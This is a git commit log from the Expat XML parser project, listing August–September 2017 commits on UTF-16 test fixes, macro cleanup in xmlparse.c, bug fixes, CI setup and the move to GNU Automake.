Sebastian Pipping d47b8ffd76 xmlparse.c: Resolve macro "unknownEncodingRelease" (issue #59) 2017-09-03 00:10:53 +02:00
Sebastian Pipping 77d81eedd0 xmlparse.c: Resolve macro "unknownEncodingData" (issue #59) 2017-09-03 00:10:13 +02:00
Sebastian Pipping a64cd548ff xmlparse.c: Resolve macro "unknownEncodingMem" (issue #59) 2017-09-03 00:08:59 +02:00
Sebastian Pipping 03d005428b xmlparse.c: Resolve macro "internalEncoding" (issue #59) 2017-09-03 00:08:30 +02:00
Sebastian Pipping 385d12e54b xmlparse.c: Resolve macro "initEncoding" (issue #59) 2017-09-03 00:07:50 +02:00
Sebastian Pipping bc913b754b xmlparse.c: Resolve macro "xmlDeclHandler" (issue #59) 2017-09-03 00:05:21 +02:00
Sebastian Pipping b17eb0c608 xmlparse.c: Resolve macro "entityDeclHandler" (issue #59) 2017-09-03 00:04:51 +02:00
Sebastian Pipping 76515bcce3 xmlparse.c: Resolve macro "attlistDeclHandler" (issue #59) 2017-09-03 00:04:26 +02:00
Sebastian Pipping 3bb138b6f9 xmlparse.c: Resolve macro "elementDeclHandler" (issue #59) 2017-09-03 00:03:44 +02:00
Sebastian Pipping 3ca6da4be4 xmlparse.c: Resolve macro "unknownEncodingHandler" (issue #59) 2017-09-03 00:03:06 +02:00
Sebastian Pipping 55e07f6475 xmlparse.c: Resolve macro "skippedEntityHandler" (issue #59) 2017-09-03 00:01:23 +02:00
Sebastian Pipping c68866eb6b xmlparse.c: Resolve macro "notStandaloneHandler" (issue #59) 2017-09-03 00:00:04 +02:00
Sebastian Pipping 2159f09559 xmlparse.c: Resolve macro "endNamespaceDeclHandler" (issue #59) 2017-09-02 23:58:58 +02:00
Sebastian Pipping 07654466ec xmlparse.c: Resolve macro "notationDeclHandler" (issue #59) 2017-09-02 23:58:39 +02:00
Sebastian Pipping 8a5155b2a1 xmlparse.c: Resolve macro "endDoctypeDeclHandler" (issue #59) 2017-09-02 23:57:43 +02:00
Sebastian Pipping 4b714882ed xmlparse.c: Resolve macro "startDoctypeDeclHandler" (issue #59) 2017-09-02 23:54:56 +02:00
Sebastian Pipping 9ea945a097 xmlparse.c: Resolve macro "defaultHandler" (issue #59) 2017-09-02 23:54:25 +02:00
Sebastian Pipping d70048eb57 xmlparse.c: Resolve macro "endCdataSectionHandler" (issue #59) 2017-09-02 23:50:01 +02:00
Sebastian Pipping ee4dde80a6 xmlparse.c: Resolve macro "commentHandler" (issue #59) 2017-09-02 23:49:11 +02:00
Sebastian Pipping bcf55a6957 xmlparse.c: Resolve macro "characterDataHandler" (issue #59) 2017-09-02 23:48:40 +02:00
Sebastian Pipping 1be39b802f xmlparse.c: Resolve macro "endElementHandler" (issue #59) 2017-09-02 23:47:15 +02:00
Sebastian Pipping 9904008198 xmlparse.c: Resolve macro "startElementHandler" (issue #59) 2017-09-02 23:46:22 +02:00
Sebastian Pipping ccbbca1b0d xmlparse.c: Resolve macro "handlerArg" (issue #59) 2017-09-02 23:43:30 +02:00
Sebastian Pipping 36ea43dac4 xmlparse.c: Resolve macro "userData" (issue #59) 2017-09-02 23:36:55 +02:00
Sebastian Pipping 08aa36aaac Merge branch 'RMJ10-issue-137-fix' (pull request #138) 2017-09-02 22:33:26 +02:00
Sebastian Pipping 211f06931e Changes: Document fix to #137 2017-09-02 22:32:48 +02:00
Rhodri James 718d51a66b Fix for #137: check parse status before epilogue processing.
This is just a sticking plaster; the parse status handling is
currently being reconsidered for more general refactoring.
2017-09-02 22:32:48 +02:00
Rhodri James df8c75ee26 Add test for issue #137: stopping parse doesn't always return an error
This catches the case of stopping the parse on a single empty tag.
There may be other cases where the parse status isn't checked properly.
2017-09-02 22:18:53 +02:00
Sebastian Pipping 4f9dde9de8 Merge branch 'RMJ10-remove-samename' (pull request #141) 2017-09-02 16:17:46 +02:00
Rhodri James bad63895fb Remove unused sameName functions from ENCODING structure 2017-09-02 16:17:18 +02:00
Sebastian Pipping bdc9868080 Merge branch 'RMJ10-issue-120-fix' (pull request #140) 2017-09-01 20:33:25 +02:00
Sebastian Pipping 378bb45bcf Makefile.am: Fix "make run-benchmark" for MinGW 2017-09-01 20:32:44 +02:00
Rhodri James 9cdb9a12b8 Remove extraneous @ from test file (issue #120) 2017-08-31 14:05:25 +01:00
Sebastian Pipping 72d9f6aa36 qa.sh: Fix "memory" mode (#65)
Looks like a regression for migration to GNU Automake.
2017-08-30 22:33:22 +02:00
Sebastian Pipping 227280db70 Merge branch 'RMJ10-unicode-tests' (pull request #132) 2017-08-29 23:36:11 +02:00
Sebastian Pipping 68a0dce355 Changes: Document pull request #132 2017-08-29 23:32:43 +02:00
Sebastian Pipping 5c6c28cf40 Streamline preprocessor indentation 2017-08-29 23:21:52 +02:00
Rhodri James 50c355729c Split long string in test_nsalloc_realloc_long_context_in_dtd()
C99 only requires compilers to handle string literals up to 4095
characters long.  Split the parse string so that it is below this
limit.
2017-08-29 23:21:52 +02:00
Rhodri James 533b45f94c Split long string in test_nsalloc_long_namespace()
C99 compilers are only obliged to cope with 4095 character strings
literals.  Split the parse string so that it is under this limit.
2017-08-29 23:21:52 +02:00
Rhodri James b627e0e510 Split long string in test_ns_extremely_long_prefix()
C99 compilers are only required to cope with 4095 character strings.
Split the parse text in two to keep it under that limit.
2017-08-29 23:21:51 +02:00
Rhodri James f7eb08ee80 Fix test_default_doctype_handler() to work in UTF-16 builds 2017-08-29 23:21:51 +02:00
Rhodri James bd12cbc629 Remove CharData_{Append|Check}String functions
Mixing XML_Char and char strings is a bad idea, and trying to put
chars into an XML_Char array tends not to work as you might hope.
Removing these functions removes the temptation to break builds.
2017-08-29 23:21:51 +02:00
Rhodri James e9aebf0a7f Use correct format for XML_Char in error output
Only actually invoked when XML_Char is char, but it keeps the
compiler quiet
2017-08-29 23:19:35 +02:00
Rhodri James a0fa0f80b8 Fix test_default_current() to work in UTF-16 builds 2017-08-29 23:19:35 +02:00
Rhodri James 0766d6c24c Fix test_end_element_events() to work in UTF-16 builds 2017-08-29 23:19:35 +02:00
Rhodri James 234a974546 Fix test_line_and_column_numbers_inside_handlers() for UTF-16
Use structured data in the event handlers for this test to avoid
problems converting char strings to XML_Char strings.
2017-08-29 23:19:34 +02:00
Sebastian Pipping b1ef760e0e CMake: Add missing integration of tests/structdata.c 2017-08-29 23:19:34 +02:00
Rhodri James 8b64146e21 Add support for structured data in test handlers 2017-08-29 23:19:34 +02:00
Rhodri James 38166e1f54 Fix test_alloc_realloc_nested_groups() to work in UTF-16 builds 2017-08-29 23:13:16 +02:00
Rhodri James 4f89cb88ac Fix test_alloc_nested_groups() to work in UTF-16 builds 2017-08-29 23:13:16 +02:00
Rhodri James 881611c97e Fix test_nsalloc_long_attr_prefix() to work in UTF-16 2017-08-29 23:13:16 +02:00
Rhodri James 826a0f791c Fix test_nsalloc_prefixed_element() to work in UTF-16 builds 2017-08-29 23:13:16 +02:00
Rhodri James ee626f7c80 Fix test_nsalloc_long_systemid_in_ext() to work in UTF-16 builds 2017-08-29 23:13:16 +02:00
Rhodri James 356e9d1c26 Fix test_nsalloc_long_default_in_ext() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 77c89db91d Fix test_nsalloc_realloc_long_context_in_dtd() to work in UTF-16 2017-08-29 23:13:15 +02:00
Rhodri James 51b90a3d54 Fix test_nsalloc_realloc_long_ge_name() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 586dcbac54 Fix context_realloc_test() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James f4f5413a6d Fix test_nsalloc_long_context() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James d8dd851ecb Fix test_nsalloc_long_element() to work for UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 3a1b4a1940 Fix test_alloc_long_notation() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 29667dacba Fix test_alloc_long_base() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 0cba195e7c Fix test_alloc_set_base() to work for UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James b22dc0b44d Fix test_alloc_dtd_default_handling() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 84c40c5e61 Fix unknown_released_encoding_handler() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James de15bfd1dc Fix test_misc_utf16le() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James e1d864007a Fix test_misc_attribute_leak() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 60942737e2 Fix test_misc_version() for various XML_UNICODE issues. 2017-08-29 23:13:15 +02:00
Rhodri James d2ba5ef545 Fix test_misc_alloc_create_parser_with_encoding() to work in UTF-16 2017-08-29 23:13:15 +02:00
Rhodri James 1f5814a9bf Fix test_ns_utf16_doctype() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James b96f6674c2 Fix test_ns_utf16_element_leafname() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James dc5649b42b Fix test_ns_utf16_leafname() to work for UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 5042762639 Fix test_ns_unknown_encoding_success() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 17fbf194f8 Fix test_ns_long_element() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James d6639e21e4 Fix test_ns_prefix_with_empty_uri_4() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 4711ef3140 Don't mix character types in namespace overwrite tests 2017-08-29 23:13:15 +02:00
Rhodri James fdd120da85 Fix test_return_ns_triplet() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 879fab5049 Fix triplet checker functions to use XML_Char correctly 2017-08-29 23:13:15 +02:00
Rhodri James c5c02d745f Fix namespace test setup routine to work properly in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James e881a0451f Fix test_entity_public_utf16_le() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James d7f2f4413a Fix test_entity_public_utf16_be() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James a33f36ca15 Fix test_entity_in_utf16_le_attr() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 3d96ba9b56 Fix test_entity_in_utf16_be_attr() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James 8780995416 Fix test_utf16_pe() to work for UTF-16 builds of the library 2017-08-29 23:13:15 +02:00
Rhodri James ff46a1997c Fix accumulate_entity_decl() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James a7a416089d Fix test_utf16_second_attr() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James ea71c5d57c Fix test_utf16_attribute() to work in UTF-16 builds 2017-08-29 23:13:15 +02:00
Rhodri James b376732a00 Fix test_trailing_spaces_in_elements() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 9ea45fc6b0 Fix record_element_end_handler() to work for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James f7434bd86e Fix test_utf8_in_cdata_section_2() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James a507812d34 Fix test_long_ascii_attribute() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James e5dc7c4a3f Fix test_long_latin1_attribute() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 7f7e165927 Fix test_utf8_in_cdata_section() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 08005e3522 Fix test_ext_entity_utf8_non_bom() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James fc02e094d3 Fix test_ext_entity_utf16_le() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 12604cfc38 Fix test_ext_entity_utf16_be() to work for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James e08a81045c Fix test_ext_entity_latin1_utf16be_bom2() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James ae47db8288 Fix test_ext_entity_latin1_utf16le_bom2() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James a8e9d79fd3 Fix test_ext_entity_latin1_utf16be_bom() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 3efdc8cab4 Fix test_ext_entity_latin1_utf16le_bom() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 8f6c90dc72 Fix test_unknown_ascii_encoding_ok() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 87742dee07 Fix test_unknown_encoding_long_name_2() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 435ab90b4b Fix test_unknown_encoding_long_name_1() to work for UTF-16 2017-08-29 23:13:14 +02:00
Rhodri James 850303a73b Fix MiscEncodingHandler() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James dd38e6207d Fix up UTF-16 comment tests to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 127e33f8d5 Fix up accumulate_pi_characters() to work for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 432c39b746 Fix test_comment_handled_in_default() to work for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 1054ffe229 Fix test_pi_handled_in_default() to work in UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James fc961e6e34 Fix test_param_entity_with_trailing_cr() to work for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 36dee6ce5a Fix test_suspend_resume_parameter_entity() to work in UTF-16 2017-08-29 23:13:14 +02:00
Rhodri James c1641bcc88 Fix test_suspend_resume_internal_entity() to work for UTF-16 2017-08-29 23:13:14 +02:00
Rhodri James ec1c5c29a9 Fix start_element_suspender() to work for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 895f150166 Fix up selective_aborting_default_handler() for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 21ed018487 Fix external_entity_devaluer() to work for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James f51e70d019 Fix external_entity_public() to work for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James fe930e74ea Fix test_nested_groups() to work with UTF-16 2017-08-29 23:13:14 +02:00
Rhodri James 7e726dc386 Fix record_element_start_handler() to use XML_Char correctly 2017-08-29 23:13:14 +02:00
Rhodri James a6add43ad2 Fix test_predefined_entity_redefinition() to work for UTF-16 2017-08-29 23:13:14 +02:00
Rhodri James 907e4cc32b Fix test_attribute_enum_value() to work for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James d024ce6e8f Fix external_entity_value_aborter() to work for UTF-16 builds 2017-08-29 23:13:14 +02:00
Rhodri James 5d83ea1bcb Fix external_entity_not_standalone() to work for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James d23efea089 Fix external_entity_valuer() to work for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James c9f258d842 Fix external_entity_param() to work for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 2a08a268b6 Fix test_ignore_section_utf16_be() for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 0c17e937fd Fix test_ignore_section_utf16() for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 7de6b0ce61 Fix test_ignore_section() to work correctly for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James ace7e46246 Fix test_predefined_entities() to work correctly with UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 70d19d635a Remove speculative test from byte_character_handler().
byte_character_handler() used to test that the string pointer `s`
passed to it was at the correct offset ino the input buffer.  This
is not guaranteed to be the case, and definitely won't be the case
if the input encoding has a different minimum bytes-per-character
to the internal encoding.
2017-08-29 23:13:13 +02:00
Rhodri James bd93a149d2 Fix external_entity_good_cdata_ascii() to work with UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James e18b2b398d Fix rsqb_handler() to work correctly in UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 7de283270f Fix cr_cdata_handler() to work correctly for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 32f7f8b69f Fix test_cdata_default() to work for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 279e29a9d4 Fix test_attributes() to work for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 285199b6d2 Fix counting_start_element_handler() to use XML_Char correctly 2017-08-29 23:13:13 +02:00
Rhodri James 4fe2c1a5e4 Fix test_set_base() to work for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 093c5c9258 Fix test_multichar_cdata_utf16() to work for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 7bc8663933 Fix test_long_cdata_utf16() to work for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 18ccc4b65a Fix test_good_cdata_utf16_le() to work for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James cda42d84c9 Fix test_good_cdata_utf16() to work for UTF-16 builds (ironicly) 2017-08-29 23:13:13 +02:00
Rhodri James 4a8980afd5 Fix test_good_cdata_ascii() to work for UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 4ac42fcc89 Fix test_dtd_attr_handling() to work with UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James 6129536b7d Fix test_dtd_default_handling() to work for UTF-16 2017-08-29 23:13:13 +02:00
Rhodri James 388219c03a Fix test_not_standalone_handler_accept() to work for UTF-16 2017-08-29 23:13:13 +02:00
Rhodri James d550ca2dc5 Fix test_not_standalone_handler_accept() to work in UTF-16 builds 2017-08-29 23:13:13 +02:00
Rhodri James c7abdc8536 Fix test_wfc_undeclared_entity_with_external_subset() for UTF-16 2017-08-29 23:13:13 +02:00
Rhodri James e4ca396c1c Fix test_ext_entity_set_bom() to work for UTF-16 2017-08-29 23:13:13 +02:00
Rhodri James f0a5129bd4 Fix test_ext_entity_no_handler() to work for UTF-16 2017-08-29 23:13:13 +02:00
Rhodri James d4e08e98ce Fix test_ext_entity_set_encoding to work for UTF-16 2017-08-29 23:13:13 +02:00
Rhodri James cea58e4172 Fix UnknownEncodingHandler to work with UTF-16 2017-08-29 23:13:13 +02:00
Rhodri James dc2b79611e Fix attribute whitespace normalization tests for UTF-16 2017-08-29 23:13:13 +02:00
Rhodri James fd6e43f64a Fix whitespace normalization tests for UTF-16 2017-08-29 23:13:13 +02:00
Rhodri James c9c6a7bb27 Ensure encoding passed to XML_SetEncoding is always const XML_Char* 2017-08-29 23:13:13 +02:00
Rhodri James f770d7abf7 Fix test_utf16() to work for UTF-16 builds 2017-08-29 22:30:33 +02:00
Rhodri James 61995637fd Fix test_utf8_false_rejection() to work in UTF-16 2017-08-29 22:30:33 +02:00
Rhodri James 2d1020a2e4 Fix test_french_utf8() to work in UTF-16 2017-08-29 22:30:33 +02:00
Rhodri James 47ddbf3edc Fix test_french_latin1() to work in UTF-16 2017-08-29 22:30:33 +02:00
Rhodri James 4d39fc0bfa Fix test_french_charref_decimal() to work for UTF-16 2017-08-29 22:30:33 +02:00
Rhodri James 0731c0b8de Fix test_french_charref_hexidecimal() to work for UTF-16 2017-08-29 22:30:33 +02:00
Rhodri James c486259c69 Fix test_latin1_umlauts() to work for UTF-16 2017-08-29 22:30:33 +02:00
Rhodri James 87899c4ff1 Fix test_danish_latin1() to handle UTF-16 2017-08-29 22:30:32 +02:00
Rhodri James 1e11b39311 Add wrapper macro to give string literals the right type for XML_Char* 2017-08-29 22:30:32 +02:00
Rhodri James 0cf316f825 Ensure the _check functions take parse text as char not XML_Char
_run_character_check() et al pass their parse text to XML_Parse()
via _XML_Parse_SINGLE_BYTES().  Both of these expect the parse text
as "const char *", not "const XML_Char *".
2017-08-29 22:30:32 +02:00
Rhodri James c64f7a6a65 Fix wide character issues in param_entity_match_handler() 2017-08-29 22:30:32 +02:00
Rhodri James 0a7631ae64 Add macros for XML_Char-based strncmp and strlen equivalents 2017-08-29 22:30:32 +02:00
Rhodri James 3bda331fff Fix wide character comparisons in external_entity_optioner() 2017-08-29 22:30:32 +02:00
Rhodri James f57d8914a0 Define and use macros for XML_Char and XML_Char* format strings 2017-08-29 22:30:32 +02:00
Rhodri James 3278570027 Prevent XML_UNICODE being redefined 2017-08-29 22:30:32 +02:00
Rhodri James 5baf114b7f examples: Use printf rather than [f]put[w]s (pull request #135) 2017-08-29 20:08:52 +02:00
Sebastian Pipping bc6468d230 xmlparse.c: Resolve superfluous internal malloc/realloc switch (#6) 2017-08-29 00:39:58 +02:00
Sebastian Pipping 448d79c02e xmltok.c: Use memcpy
Fixes false positive Clang (4.0.1) Static Analyzer warning (issue #9)
as a side-effect.
2017-08-28 22:21:10 +02:00
Sebastian Pipping e4661bfb85 xmlwf: Address Clang Static Analyzer warning 2017-08-28 21:38:44 +02:00
Sebastian Pipping 07643fcd85 Merge branch 'RMJ10-unicode-benchmark' (pull request #130) 2017-08-26 17:19:47 +02:00
Sebastian Pipping 1e4ab81a83 Changes: Document #130 2017-08-26 17:19:12 +02:00
Sebastian Pipping 4767305c1a benchmark: Indent preprocessor code 2017-08-26 17:18:10 +02:00
Rhodri James bc775ae501 Fix benchmark to compile under XML_UNICODE_WCHAR_T 2017-08-26 17:17:21 +02:00
Sebastian Pipping b598d08cae Merge branch 'RMJ10-unicode-examples' (pull request #129) 2017-08-26 17:04:13 +02:00
Sebastian Pipping 3693f28404 Changes: Document #129 2017-08-26 17:02:30 +02:00
Sebastian Pipping c1e1a84c82 examples: Indent preprocessor code 2017-08-26 17:01:59 +02:00
Rhodri James c7071f1434 Fix example programs to compile under XML_UNICODE_WCHAR_T 2017-08-26 16:57:36 +02:00
Sebastian Pipping 396a699d1c README.md: Add AppVeyor status badge 2017-08-25 00:11:03 +02:00
Sebastian Pipping d30c11cc83 Merge branch 'zeroc-ice-ci' (pull request #128, issue #53) 2017-08-24 23:36:08 +02:00
Sebastian Pipping 0db10380c2 appveyor.yml: Sync copyright header 2017-08-24 23:07:59 +02:00
Sebastian Pipping b28d60d324 appveyor.yml: Convert from ISO-8859 to UTF-8 2017-08-24 23:04:57 +02:00
Sebastian Pipping 49a65150b8 appveyor.yml: Add vs2010 2017-08-24 23:04:42 +02:00
Sebastian Pipping 58a7c3e8c4 appveyor.yml: Add links on CMake generators and installed VS versions 2017-08-24 22:49:38 +02:00
Sebastian Pipping 769c5c1d31 appveyor.yml: Apply detailed license header 2017-08-24 22:45:00 +02:00
Jose c006680a32 Add Windows CI with Appveyor Fixes issue #53 2017-08-24 20:31:15 +02:00
Sebastian Pipping bc983051bc Changes: Add missing accents 2017-08-23 22:10:03 +02:00
Sebastian Pipping b5d1139733 Changes: Fix typo 2017-08-23 18:06:46 +02:00
Sebastian Pipping 8cee1db2c6 Merge branch 'visual-studio-2012' (pull request #127) 2017-08-23 17:55:59 +02:00
Sebastian Pipping 2cfd6eb2ba Changes: Document #126 2017-08-23 17:41:31 +02:00
Sebastian Pipping ab1cb1fa07 Add version comment to _INTERNAL_trim_to_complete_utf8_characters 2017-08-23 17:41:30 +02:00
Sebastian Pipping 8711ee3054 Leave no doubt about align_limit_to_full_utf8_characters being internal 2017-08-23 17:41:17 +02:00
Jose a4321e4f29 Fix missing export symbol required by testsuite
Need to export the symbol align_limit_to_full_utf8_characters
to build the test suite on Windows.
2017-08-23 17:38:39 +02:00
Sebastian Pipping 1bfe015a78 xmlwf/readfilemap.c: Address lack of ssize_t for Visual Studio 2017-08-23 17:38:39 +02:00
Sebastian Pipping ddaa78c708 qa.sh: Stay closer to c89 (still requires c99) 2017-08-23 17:38:38 +02:00
Sebastian Pipping b3db463e0d xmlparse.c|xmltok.c: Turn some comments to c89 style 2017-08-23 17:38:24 +02:00
Jose b4b89c2ab0 Fix compile error with Visual Studio 2012
The standard header stdbool.h is not available
with old Visual Studio compilers
2017-08-23 17:38:24 +02:00
Benbuck Nason e0b290eb3d Add artificial scopes in xmltok.c utf8_toUtf8() to fix c89 compilation. 2017-08-23 15:49:24 +02:00
Sebastian Pipping 205be3310f README.md: Show Travis CI build status 2017-08-23 01:02:21 +02:00
Sebastian Pipping 9f8f1dd495 Merge branch 'RMJ10-issue-11-fix' (pull request #110) 2017-08-23 00:37:49 +02:00
Sebastian Pipping 48d8deb8e1 Changes: Document fix to #11 2017-08-23 00:37:08 +02:00
Rhodri James 4af5450ebb Don't suppress default handler unnecessarily (Issue #11)
The roles XML_ROLE_DOCTYPE_PUBLIC_ID and XML_ROLE_DOCTYPE_SYSTEM_ID
fall through to XML_ROLE_ENTITY_PUBLIC_ID and XML_ROLE_ENTITY_SYSTEM_ID
respectively.  This lead to the default handler getting suppressed if
there was no start doctype declaration handler but there was an entity
declaration handler.
2017-08-23 00:36:20 +02:00
Rhodri James 80e94383b1 Test for incorrectly suppressed default handler (issue #11) 2017-08-23 00:36:20 +02:00
Sebastian Pipping 3e7eed3762 Merge branch 'RMJ10-issue-8-fix' (pull request #108) 2017-08-23 00:22:49 +02:00
Sebastian Pipping be5972546e Changes: Document fix to #8 2017-08-23 00:21:29 +02:00
Rhodri James 77b5ae3bc3 Keep allocDefaultAtts consistent if allocating defaultAtts fails.
See issue #8
2017-08-23 00:20:28 +02:00
Sebastian Pipping ef7ab8c2dd Merge branch 'RMJ10-xmlwf-doctype-fix' (pull request #106) 2017-08-22 23:21:37 +02:00
Sebastian Pipping a80861beae Changes: Document #106 2017-08-22 23:15:07 +02:00
Sebastian Pipping 0b44900fcb xmlwf.c: Address unused parameter warning 2017-08-22 23:15:05 +02:00
Rhodri James e51d0d4d06 Update expected test log to match changes to xmlwf 2017-08-22 23:14:55 +02:00
Rhodri James 0abf000fa4 Plug memory leak in xmlwf's end of doctype declaration handler 2017-08-22 23:14:55 +02:00
Rhodri James e424d3fb6a Fix formatting and message re-use 2017-08-22 23:14:55 +02:00
Rhodri James 1726204ce2 Rename xmlCharDup to xcsdup and tighten up the code 2017-08-22 23:14:54 +02:00
Rhodri James 59d81f517d Move static variables into a userdata structure 2017-08-22 22:21:10 +02:00
Rhodri James 0da3d1b5bf Add command-line arg "-N" to xmlwf to add notations to test output
...and use it in xmltest.sh
2017-08-22 22:21:10 +02:00
Rhodri James 688ecaa7ab Sort notations by name in xmlwf for conformance tests 2017-08-22 22:21:10 +02:00
Rhodri James b07794f371 Add doctype and notation handlers to xmlwf for conformance tests 2017-08-22 21:52:48 +02:00
Sebastian Pipping 00f31fa43f Merge branch 'bluhm-memcpy-cast' (pull request #125) 2017-08-22 20:35:28 +02:00
Alexander Bluhm 793c066953 Do not cast arguments of memcpy(3).
With an explicit cast, the C compiler does not check whether the
function's arguments are compatible and will just convert anything.
So removing the cast makes the code safer as the compiler will
complain in more cases.  The implicit cast does the correct thing.
2017-08-21 19:48:20 +02:00
Sebastian Pipping 17092fc677 README.md|Makefile.am: Fix sed pattern for libexpatw.la 2017-08-20 20:21:44 +02:00
Sebastian Pipping fc577ad9cb Travis CI: Build RPM package, too 2017-08-19 16:46:41 +02:00
Sebastian Pipping 3bdb11fc86 Prepare release version 2.2.4 (#123) 2017-08-19 16:40:21 +02:00
Sebastian Pipping 98a5115c2c Bump version info bumped from 7:5:6 to 7:6:6 (#123) 2017-08-19 16:40:20 +02:00
Sebastian Pipping 40aac6dcbb expat.spec: Fix list of doc filenames
Related commits:
- AUTHORS, Changes, changelog:
  - 2cb09ae4da
  - 2cb09ae4da
- MANIFEST: d4390f34f3
- README: da70f7af4d
2017-08-19 16:40:12 +02:00
Sebastian Pipping 497e078622 expat.spec: Fix source URL 2017-08-19 16:40:12 +02:00
Sebastian Pipping ed2f80870a conftools/mkinstalldirs: Removed generated file (#65) 2017-08-19 16:37:38 +02:00
Sebastian Pipping d0aa68d901 buildconf.sh: Make sure that configure has latest version (#65)
Regression from d4390f34f3
2017-08-19 16:37:38 +02:00
Sebastian Pipping 2cb09ae4da lib/Makefile.am: Install files AUTHORS and Changes, too 2017-08-15 22:09:59 +02:00
Sebastian Pipping 9abc72b58e Changes: Remove "potential" as we known better now (#115) 2017-08-13 16:33:48 +02:00
Sebastian Pipping 031e1df1fa loadlibrary.c: Mention license name and modifications (#116) 2017-08-12 21:31:32 +02:00
Sebastian Pipping c5ce18622f README.md: Fix and improve ordered list syntax 2017-08-12 21:15:56 +02:00
Sebastian Pipping 0a7375dac4 README.md: Resolve pre-Automake INSTALL_ROOT leftover (#65) 2017-08-12 21:13:37 +02:00
Sebastian Pipping a704c940a4 Inline copyright headers with C/C++ code where missing (#116) 2017-08-12 21:02:41 +02:00
Sebastian Pipping d809c7cc2f Merge branch 'source-tarball-windows' 2017-08-12 19:23:14 +02:00
Sebastian Pipping b86f806edf Makefile.am: Include Visual Studio 2013 files in source tarball (#117) 2017-08-12 19:19:56 +02:00
Sebastian Pipping f980313710 Makefile.am: Extract variables for CMake and Windows files 2017-08-12 19:16:14 +02:00
Sebastian Pipping 5c3a01c1cc Include file tests/xmltest.log.expected in source tarball (#117) 2017-08-12 19:10:43 +02:00
Sebastian Pipping bc6f07e115 Merge branch 'automake' #65 #118 2017-08-12 16:40:19 +02:00
Sebastian Pipping da856e3b45 Travis CI: Add mode for "make distcheck" 2017-08-12 16:28:44 +02:00
Sebastian Pipping d4390f34f3 Replace handwritten Makefile with GNU Automake 2017-08-12 16:09:50 +02:00
Sebastian Pipping 5c01dc098f Extend .gitignore 2017-08-11 23:25:00 +02:00
Sebastian Pipping 65b9c83310 Merge branch 'configure-without-xmlwf' 2017-08-11 23:03:47 +02:00
Sebastian Pipping 9d950527a0 configure.ac: Add --without-xmlwf 2017-08-11 22:44:47 +02:00
